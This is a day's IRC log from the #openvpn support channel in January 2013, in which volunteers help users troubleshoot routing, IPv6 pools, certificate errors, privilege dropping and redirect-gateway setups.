06:15 -!- Mava [~Mava@ip-45-201.dhcp.opintanner.fi] has left #openvpn []
06:16 -!- Minnebo_ [~Minnebo@office.exabyte.be] has quit [Ping timeout: 272 seconds]
06:18 -!- Minnebo__ [~Minnebo@office.exabyte.be] has quit [Ping timeout: 252 seconds]
06:31 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
06:41 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
06:46 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
06:49 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:51 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
07:20 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has joined #openvpn
07:22 < Vorik> Hi! I've got an openvpn server on Centos6, Selinux permissive, installed with Puppet luxflux/puppet-openvpn module. I can ping the clients from the server and vice versa, but nothing (including server ip) from the LAN. I've added routes to the client and the default gateway of the LAN. ip_forward is enabled. What could be amiss?
07:24 < Vorik> Btw, it routed all my browser traffic via the LAN.
07:40 < Vorik> so, it generally works, (connections are routed over VPN) except I cannot access any hosts on the LAN itself.
07:48 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has joined #openvpn
08:09 <@dazo> Vorik: check if you have enabled IP forwarding, then check your firewall ... and then your routing
08:09 <@dazo> Vorik: in 99.9999999% of all support cases, it's guaranteed to be one or more of those three points
08:09 < Vorik> dazo: I've enabled ip_forwarding on the openvpn server, firewall is disabled
08:10 <@dazo> Vorik: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting  ... the scenario here should basically be what's needed
08:10 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
08:10 <@dazo> Vorik: and "firewall is disabled" .... yeah, that's what everyone says too ;-)
08:11 < Vorik> dazo: lol :)
08:11 < Vorik> I'll check that doc, thanks
08:11 <@dazo> Vorik: however, you can most likely (at least if you run openvpn in server mode) put SELinux into Enforcing .... I'm running OpenVPN on CentOS5 and ScientificLinux 6 boxes in enforcing mode .... without any issues
08:12 < Vorik> i'll make a pastie of all configs
08:12 < Vorik> :)
08:12 <@dazo> goodie :)
08:12  * dazo heads out for lunch before a meeting
08:16 < Vorik> dazo: I've put it on http://pastie.org/5822775
08:29 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
08:43 -!- gustavoz [~gustavoz@host110.190-225-90.telecom.net.ar] has quit [Quit: Leaving]
08:49 -!- zz_AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 252 seconds]
08:54 < MeanderingCode> Hey all.  Is the Android client FLOSS?
08:54 -!- zu [~zu@ks387228.kimsufi.com] has quit [Remote host closed the connection]
08:56 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
08:57 -!- parmegv [U2FsdGVkX1@ma.sdf.org] has joined #openvpn
09:00 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 246 seconds]
09:08 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
09:12 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
09:14 -!- parmegv is now known as parmegv_
09:14 -!- parmegv_ is now known as parmegv
09:14 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
09:18 -!- Minnebo__ [~Minnebo@office.exabyte.be] has joined #openvpn
09:21 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
09:32 -!- Wintereise [Wintereise@113.11.122.227] has joined #openvpn
09:35 -!- Wintereise [Wintereise@113.11.122.227] has quit [Changing host]
09:35 -!- Wintereise [Wintereise@unaffiliated/wintereise] has joined #openvpn
09:38 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:42 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has quit [Quit: valparaiso]
10:03 -!- dazo is now known as dazo|afk
10:04 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 248 seconds]
10:07 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Read error: Connection reset by peer]
10:07 -!- d12fk [~heiko@exit0.net] has left #openvpn ["?RETURN WITHOUT GOSUB"]
10:13 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
10:15 < Martin`> I upgraded ubuntu to 12.04 so I was thinking 2.3.x will be in packages, but no luck with that :(
10:16 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
10:16 < Martin`> hmm just released
10:16 < Martin`> :P
10:19 < Martin`> !goal
10:19 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:22 -!- master_of_master [~master_of@p57B5425D.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
10:24 -!- master_of_master [~master_of@p57B53EFA.dip.t-dialin.net] has joined #openvpn
10:25 -!- dazo|afk is now known as dazo
10:27 -!- raidz_away is now known as raidz
10:35 -!- Minnebo__ [~Minnebo@office.exabyte.be] has quit [Ping timeout: 252 seconds]
10:36 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:37 -!- raidz is now known as raidz_away
10:40 -!- raidz_away is now known as raidz
10:45 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
11:00 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
11:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:13 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 245 seconds]
11:13 -!- BendIt [~ron@146-52-51-114-dynip.superkabel.de] has joined #openvpn
11:13 < BendIt> hey guys
11:15 < BendIt> just a short question to clarify that for me. openvpn supports ipv6 as of 2.3.0, so do i need an ipv4 address for each client also to get it working?
11:16 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 240 seconds]
11:17 <@dazo> BendIt: currently, yes, you do need an IPv4 pool as well ... the developer behind the IPv6 payload patches have it on his TODO list to fix this, but nothing ready yet
11:18 <@dazo> BendIt: but you don't have to route the IPv4 traffic if you don't need it ... just remove any "route" statements related to the IPv4 networking
11:18 < BendIt> ah ok. thanks. so its planed, that you wont need this anymore when its done? :)
11:18 <@dazo> (and you can even block that IPv4 in your firewall)
11:18 <@dazo> BendIt: it's done sometime in the future ... that's as accurate as I can be right now
11:19 < BendIt> yeah, no problem, i can wait and i know, its done when its done
11:20 < BendIt> is there a sample config file for client and server available? i couldnt find one which shows a usable configuration with ipv6?
11:21 <@dazo> BendIt: http://www.greenie.net/ipv6/openvpn.html ... in addition to the man page, of course (it should all be there too)
11:21 <@vpnHelper> Title: Gert Döring - IPv6 Payload Patch for OpenVPN (at www.greenie.net)
11:21 <@dazo> (that's the docs from the patch contributor)
11:21 < BendIt> thank you so much dazu, ill have a look ;)
11:22 < BendIt> dazo, sry
11:22 <@dazo> no worries!
11:38 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Ping timeout: 244 seconds]
11:43 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
11:45 -!- BendIt [~ron@146-52-51-114-dynip.superkabel.de] has quit [Quit: Verlassend]
11:47 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Read error: Operation timed out]
11:49 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:49 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:49 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:50 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
11:57 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
11:57 -!- zz_AsadH is now known as AsadH
11:57 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
11:57 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
12:03 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:03 -!- mode/#openvpn [+v s7r] by ChanServ
12:16 -!- oconnore [~eric@38.111.17.138] has joined #openvpn
12:17 < oconnore> hi, I have an openvpn install and I am trying to add a new user. The user has a crt that has been signed with the same CA that the server crt was signed with, but I am getting "self signed certificate" error. It's not a self signed certificate! What could be going wrong?
12:19 < oconnore> I have checked the fingerprints of the ca.crt files on both server and client, and they match
12:19 < oconnore> I have checked that the server crt verifies with that CA. I have checked that the client crt verifies with that CA.
12:19 -!- MeanderingCode_ [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
12:20 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Ping timeout: 276 seconds]
12:23 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:30 <@dazo> oconnore: double check your certificates ... with openssl and grep you can do this:  openssl x509 -noout -text -in <CERTFILE> | egrep "Issuer:|Subject:"
12:31 <@dazo> if you do this on the client cert .... you should see two lines, Issuer: and Subject: ... and they should be different
12:32 <@dazo> If the contents of these two lines are basically identical, then you've done something wrong
12:32 <@dazo> (openvpn doesn't complain about self-signed certificates without a reason)
12:36 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
12:37 < jackbrown> If I use a main proxy into my configuration then i connect to a VPN, the VPN what will see? My proxy IP or my Machine IP ?
12:48 -!- MeanderingCode_ [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Read error: Connection reset by peer]
13:03 <@dazo> jackbrown: if your VPN client connects via a proxy, the VPN server will see the IP of your proxy
13:03 < jackbrown> ok
13:19 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
13:21 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has joined #openvpn
13:28 < oconnore> dazo: thanks, my colleague's vpn client made a private copy of the configuration directory, so the certs that I was checking were not being loaded.
13:29 -!- dazo is now known as dazo_afk
13:36 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has quit [Read error: Operation timed out]
13:36 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 276 seconds]
13:37 -!- mdw [~mdw@81.171.97.233] has joined #openvpn
13:38 -!- oconnore [~eric@38.111.17.138] has left #openvpn []
13:45 -!- Wintereise [Wintereise@unaffiliated/wintereise] has quit []
13:45 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
13:46 -!- mdw [~mdw@81.171.97.233] has quit [Ping timeout: 276 seconds]
13:50 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has joined #openvpn
14:17 -!- else- [~else@towely.iodev.org] has quit [Read error: Connection reset by peer]
14:22 -!- hilo [~helo@38.98.103.201] has joined #openvpn
14:22 < hilo> hello!
14:23 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
14:29 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
14:30 -!- Orbi [~opera@anon-185-41.vpn.ipredator.se] has left #openvpn []
14:30 < hilo> Is anyone in here? I am trying to make use of the config lines "user nobody" and "group nogroup" to secure the process, but when I check the current processes, the process is still owned by "root"
14:33 -!- Minnebo__ [~Minnebo@78-23-254-38.access.telenet.be] has joined #openvpn
14:39 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
14:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:51 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
14:51 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Changing host]
14:51 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:01 < EugeneKay> The process is started as root but drops privilegs to those users
15:02 < EugeneKay> !unpriv
15:02 <@vpnHelper> "unpriv" is see https://community.openvpn.net/openvpn/wiki/UnprivilegedUser for a write-up by EugeneKay on how to run OpenVPN without root/admin permissions.
15:02 < EugeneKay> There's a method to start it as an unprivileged user from the get-go, using sudo to perform the stuff that has to be run as root(ip addr, etc)
15:02 -!- b1rkh0ff [~b1rkh0ff@178.77.23.88] has quit [Quit: Leaving]
15:12 -!- brute11k [~brute11k@89.249.230.101] has quit [Quit: Leaving.]
15:14 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
15:45 -!- pekster [~rewt@openvpn/user/pekster] has joined #openvpn
15:45 -!- mode/#openvpn [+v pekster] by ChanServ
15:51 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
15:51 -!- Minnebo__ [~Minnebo@78-23-254-38.access.telenet.be] has quit [Ping timeout: 246 seconds]
15:51 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Read error: Connection reset by peer]
15:53 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
16:01 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
16:02 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:02 -!- Valcorb [~Valcorb@199.229.249.189] has quit []
16:15 -!- lazerbeak [~lazerbeak@unafffiliated/lazerbeak] has quit [Quit: Leaving]
16:19 < Martin`> hmm, nice compiled openvpn, removed package, changed openvpn init.d and all services are up and running again :D
16:19  * Martin` is happy
16:19 < Martin`> :P
16:19 < Martin`> now I need to find out how ipv6 works :)
16:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:26 < hilo> EugeneKay, so the process shows as root even after dropping privs?
16:26 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
16:27 < hilo> EugeneKay, is there a way to test that the privs have actually been dropped? and is there any info you can share for running unpriv with sudo?
16:29 < EugeneKay> hilo - the logs should say that the privs were dropped
16:29 < Martin`> only topology subnet supported? :S
16:29 < EugeneKay> hilo - all the info I have is in the link given :-p
16:29 < EugeneKay> Martin` - anything else is a sure path to insanity
16:29 <+pekster> hilo: Shows where running as root? If I drop privs via '--user' it shows the right UID in top/htop for the process
16:30 < Martin`> EugeneKay: how do you mean?
16:30 < EugeneKay> /30 sucks
16:30 < Martin`> I use a /64
16:30 < EugeneKay> Oh, v6 on 2.3. Haven't played with that.
16:31 < Martin`> server-ipv6 2001:16f8:6:1201::/64
16:31 < Martin`> I guess that is right? or not?
16:31 < EugeneKay> Using anything other than a subnet in v6 is stupid :-p
16:31 < EugeneKay> Looks right
16:31 <+pekster> EugeneKay: PtP is still a valid configuration in IPv6
16:31 < EugeneKay> It's still a stupid one
16:32 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:32 <+pekster> If you only need to link 2 servers (eg: routers functioning as a corporate WAN link) then PtP is a much simplier solution
16:32 <+pekster> It's not for the "traditional" multi-client -> one server usecase, but OpenVPN isn't a one-size-fits-all program :P
16:33 < EugeneKay> /64s are cheap. Use a whole one for your 1-client link.
16:34 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Read error: Connection reset by peer]
16:34 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
16:34 <+pekster> Or create this many PtP links in that same IP space: 9.223372036854776e+18 ;)
16:35 < EugeneKay> I forget the RFC#, but I'm fairly sure you're not supposed to break up a network(even if it's two boxen) smaller than a /64
16:35 < EugeneKay> That's the whole point of v6 - one subnet size
16:35 < EugeneKay> And lots of em!
16:38 < Martin`> topology subnet fixed the problem
16:38 < Martin`> and it is working :D
16:38 <+pekster> net30 was s solution before subnet was available for tun to fake Windows tun links
16:38 <+pekster> It's not necessary since 2.2
16:39 < hilo> pekster, EugeneKay, it shows as root in top/htop but the logs show that it dropped privs after startup
16:39 <+pekster> Or 2.1? "a while ago" anyway
16:39 < Martin`> but standard is net30?
16:39 <+pekster> Martin`: It's the default for backwards-compat purposes
16:39 < Martin`> ok
16:39 <+pekster> If you had a 2.0.9 client, for example, it wouldn't support subnet
16:39 <+pekster> solution: don't run anchient clients ;)
16:39 <+pekster> ancient*
16:39 < Martin`> hmm it uses the internal ipv6 adres instead the one via tunnel :(
16:40 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
16:40 <+pekster> Then fix the app sending data through the tunnel to bind/source from the proper IP
16:40 <+pekster> That needs to happen on any multi-homed PC
16:41  * Martin` turns off wifi on his iphone
16:41 <+pekster> hilo: What distro?
16:41 < Martin`> yes it works now :P
16:42 < hilo> pekster, Ubuntu 12.04 server 64-bit
16:42 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:42  * Martin` is happy finaly openvpn is availble for the iphone :)
16:43 <+pekster> hilo: No clue then. htop shows the 'openvpn' user when I use --user openvpn --group openvpn in my config file (or via CLI) both through my distro's initscript and when I do openvpn --config file.conf on the command-line
16:44 <+pekster> Are you sure it's the right ovpn process if you have more than one?
16:44 < hilo> pekster, there is only one
16:45 < hilo> pekster, I have to run... I'll be back in an hour (commuting home)
16:46 -!- hilo [~helo@38.98.103.201] has quit [Quit: Leaving]
16:57 -!- sjuxax [~jeff@unaffiliated/sjuxax] has joined #openvpn
16:58 -!- jthunder [~jthunder@184.151.222.11] has joined #openvpn
16:59 -!- JackWinter [~jack@vodsl-4655.vo.lu] has quit [Quit: ZNC - http://znc.in]
17:01 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
17:01 < sjuxax> Hello. I have a VPN connection that seems to be working well, but I am unable to resolve a route to the VPN server's external IP address while connected. The internal IP address works fine. For instance, I can connect to an address like 10.10.10.1, the VPN server, but I can't connect to 67.45.25.xxx, the public IP of the same server. Here is my local routing table: http://dpaste.com/888218/
17:07 <+pekster> sjuxax: That can't be true, because your kernel is consulting the routing table for every encrypted packet it sends to your VPN peer
17:07 <+pekster> If it were true, your VPN would stop working as soon as you connected with a 'redirect-gateway' style setup like you have
17:08 < sjuxax> pekster: yeah, it seems only to happen on port 25
17:08 < sjuxax> i forgot to include that part :]. Will paste in one sec.
17:09 <+pekster> Okay, then it's not a problem looking up the route. Sounds like a firewall, and it's common for ISPs to do blocking on tcp/25 due to SMTP abuse potential. It's less common to block something bound *for* tcp/25, but some ISPs require you to use their SMTP servers if you do
17:10 <+hazardous> in the US or out?
17:10 <+hazardous> from what I can tell several US ISPs block outbound 25
17:10 <+hazardous> and require you to use their smarthost to pass mail out
17:10 <+hazardous> actually a lot*
17:10 <+hazardous> seems to be less common outside the states though
17:10 < sjuxax> http://dpaste.com/888222/
17:11 <+pekster> You have a firewall problem. OpenVPN can't really help you with that
17:11 < sjuxax> Shouldn't the ISP not even know what port I'm connecting on, since the connection is going on the VPN?
17:11 <+pekster> No, becuase that traffic isn't sent across the VPN
17:11 <+pekster> You need a route to send the encrypted packets to the host that's not over the VPN
17:11 <+pekster> ie: you can't send encrypted VPN packets across the VPN. Where would that packet go? Over the VPN? And where would that one go...
17:12 < sjuxax> Ah, traffic to the outside IP is being sent over the plaintext because the routing table says to do that so the VPN can eat the other packets. Correct?
17:12 <+pekster> Right
17:12 < sjuxax> Hmm, so is there an easy way to say "do that for everything except port VPN PORT?"
17:12 <+pekster> Don't communicate wtih that host, or write creative policy routing rules to send anything that's not the ovpn traffic (based on IP/port tupple) across the VPn anyway
17:12 <+pekster> sjuxax: That depends on what you mean by "easy"
17:13 <+pekster> It's not too hard if you're familiar with policy routing
17:13 <+pekster> If you're not, start here (for Linux) http://lartc.org/howto/
17:13 <@vpnHelper> Title: Linux Advanced Routing & Traffic Control HOWTO (at lartc.org)
17:13 <+pekster> You'll then need to manage that part of the rotuing table adjustement yourself instead of letting openvpn do it
17:14 < sjuxax> OK. I will probably just put the vpn on a separate host. Thanks for all the help guys :)
17:14 <+pekster> Chapter 4 of that howto is where the policy routing stuff is explained, but you'd better start at the beginning if you're new to advanced iproute2 functionality
17:28 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
17:37 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:47 -!- NChief [tomme@unaffiliated/nchief] has quit [Ping timeout: 255 seconds]
17:48 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
17:50 -!- ch1mkey [ch1m@ns203993.ovh.net] has joined #openvpn
18:01 -!- jthunder [~jthunder@184.151.222.11] has quit [Ping timeout: 248 seconds]
18:05 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has quit [Ping timeout: 255 seconds]
18:09 -!- master_of_master [~master_of@p57B53EFA.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
18:10 -!- master_of_master [~master_of@p57B53EFA.dip.t-dialin.net] has joined #openvpn
18:25 -!- sjuxax [~jeff@unaffiliated/sjuxax] has quit [Ping timeout: 255 seconds]
18:26 -!- sjuxax [~jeff@unaffiliated/sjuxax] has joined #openvpn
18:28 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has joined #openvpn
18:31 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
18:41 -!- sjuxax [~jeff@unaffiliated/sjuxax] has quit [Quit: Leaving.]
18:43 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
18:43 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Remote host closed the connection]
18:49 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
18:57 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
19:13 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has quit [Ping timeout: 248 seconds]
19:37 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
19:49 -!- raidz is now known as raidz_away
19:54 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:59 -!- p3rror [~mezgani@2001:0:53aa:64c:383b:48a0:d673:605d] has joined #openvpn
20:20 -!- p3rror [~mezgani@2001:0:53aa:64c:383b:48a0:d673:605d] has quit [Ping timeout: 245 seconds]
20:24 -!- xbskid [~asdf@cpe-67-244-148-156.rochester.res.rr.com] has joined #openvpn
20:25 < xbskid> I have a site-to-site VPN set up; I can connect fine, but I think I'm missing either some routing or firewall rules. I can ping and traceroute successfully from the client network to the server-side network, but not the other way around.
20:26 < xbskid> Performing a traceroute from the server-side network reaches the server, but goes no further.
20:26 < xbskid> Could I need an iptables route to forward traffic to the tunnel?
20:37 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
20:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:44 <+pekster> xbskid: Sounds like a firewall issue since getting an ICMP ping back means your return routing is working, as is the firewall for the reply
20:46 <+pekster> xbskid: Try a tcpdump/wireshark trace each step of the way, making sure to follow the path across each interface on your VPN peers
20:48 < xbskid> I would, but I neither have those tools nor how to use them, not to mention I'm using Tomato routers as endpoints; I imagine it would be a pain in the ass to install them.
20:48 <+pekster> You can do a poor-man's tcpdump with targetless iptables rules
20:49 < xbskid> I'll try that.
21:25 -!- hilo [~saori@cpe-68-173-145-155.nyc.res.rr.com] has joined #openvpn
21:53 -!- hilo [~saori@cpe-68-173-145-155.nyc.res.rr.com] has quit [Quit: Leaving]
21:57 -!- pyro254750 [~jmiller@c-24-99-228-251.hsd1.ga.comcast.net] has joined #openvpn
21:58 < pyro254750> having trouble getting internet access when connected to openvpn, any obvious problems that normally cause this?
22:10 <+pekster> pyro254750: Plenty, most of which boil down to a misconfiguration of the openvpn config or your routing/firewall setup
22:10 <+pekster> Perhaps this is of use:
22:10 <+pekster> !rediret
22:10 <+pekster> !redirect
22:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:10 <@vpnHelper> http://ircpimps.org/redirect.png
22:12 < pyro254750> how would I check to verify that the routing is setup correctly. I followed the standard linode setup guide, im able to connect remotely but no internet access on client pc
22:12 <+pekster> You'd follow the steps in the flowchart you were just linked
22:13 < pyro254750> sorry, was having trouble getting it open, I see that now
22:14 < pyro254750> I assume that these steps are followed while connected to the vpn?
22:20 <+pekster> Yea, besides the basic configuration items
22:22 < pyro254750> for all the items on the flowchart like "is redirect-gateway enabled" is there a command I can run to tell me if its operating, or is it simply asking if its enabled in conf files
22:24 <+pekster> It should be obvious if you increase the verbosity to 'verb 4' and check the log output what the server is or is not pushing
22:24 <+pekster> Try the manpage and read about that option if you're unclear on what it does
22:24 <+pekster> Also:
22:24 <+pekster> !provider
22:24 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
22:25 <+pekster> It's impossible to know if your provider has properly enabled ip forwarding and NAT where required, for instance
22:30 -!- pyro254750 [~jmiller@c-24-99-228-251.hsd1.ga.comcast.net] has quit [Quit: Leaving]
22:30 -!- pyro254750 [~jmiller@c-24-99-228-251.hsd1.ga.comcast.net] has joined #openvpn
22:34 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
22:43 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Read error: Connection reset by peer]
22:51 -!- pyro254750 [~jmiller@c-24-99-228-251.hsd1.ga.comcast.net] has quit [Quit: Leaving]
23:01 -!- xbskid [~asdf@cpe-67-244-148-156.rochester.res.rr.com] has quit [Read error: Connection reset by peer]
23:02 -!- xbskid [~asdf@cpe-67-244-148-156.rochester.res.rr.com] has joined #openvpn
23:03 -!- xbskid [~asdf@cpe-67-244-148-156.rochester.res.rr.com] has quit [Client Quit]
23:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:38 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has joined #openvpn
23:39 < DrCode> hi all
--- Day changed Wed Jan 23 2013
00:19 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
00:56 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 252 seconds]
01:12 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has left #openvpn []
01:19 -!- bmanatwork [~work@cpe-70-112-107-27.austin.res.rr.com] has joined #openvpn
01:48 < bmanatwork> anyone help me with some iptables rules, i want 10.10.10.0(tun) to access anything, atm i have it able to access the internal networking and external ip of the server by pushing the routes manually
01:56 <+pekster> bmanatwork: Your question lacks enough information to suggest anything. Is this device generating its own traffic or forwarding routed traffic? What is the context of the traffic flowing across the interface? And network context. Etc.
01:56 <+pekster> You're not going to get good answers if you don't ask good questions
01:56 < bmanatwork> yeah im working on pastebining my stuff
01:57 < bmanatwork> im just slow, very sorry
02:00 < bmanatwork> http://a8.lc/bin/6ib29
02:00 <@vpnHelper> Title: Administr8 Pastebin! » 6ib29 (at a8.lc)
02:00 < bmanatwork> pekster: there is my openvpn and iptables config
02:00 < bmanatwork> sorry i was slow about it
02:01 < bmanatwork> i am wanting a client connecting to this openvpn server to be able to access that server as well as other hosts on the network its connected to (internet)
02:02 < bmanatwork> so there is a secure connection to this server for internal docs, but they can still browse the internet as normal
02:02 < bmanatwork> is that a good explanation pekster
02:02 < bmanatwork> ive been trying for weeks, but im not getting what i want
02:03 < bmanatwork> got closer tonight by adding a dns server, i can resolve ip's but still cant route
02:04 < bmanatwork> when i traceroute i get to the openvpn server 10.10.10.1 but it doesnt get to the next hopp
02:04 < bmanatwork> so i think its in my iptables rules but i dont know why
02:05 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
02:05 < bmanatwork> from my iptables output it looks like i am accepting all from 10.10.10.0 to anywhere
02:06 < bmanatwork> did you think you could help?
02:09 <+pekster> bmanatwork: You want 2 things then; pick one at a time to get working. We have some info from our bot, including handy flowcharts for each:
02:09 <+pekster> !serverlan
02:09 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
02:09 <+pekster> Then, for the redirection:
02:09 <+pekster> !redirect
02:09 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
02:09 <@vpnHelper> http://ircpimps.org/redirect.png
02:10 < bmanatwork> i have grep ipv4.ip_forward /etc/sysctl.conf
02:10 < bmanatwork> net.ipv4.ip_forward=1
02:10 < bmanatwork> so thst covers 1?
02:11 <+pekster> Yup
02:11 < bmanatwork> i have a local dns server
02:12 < bmanatwork> and def1 in my config push "redirect-gateway def1"
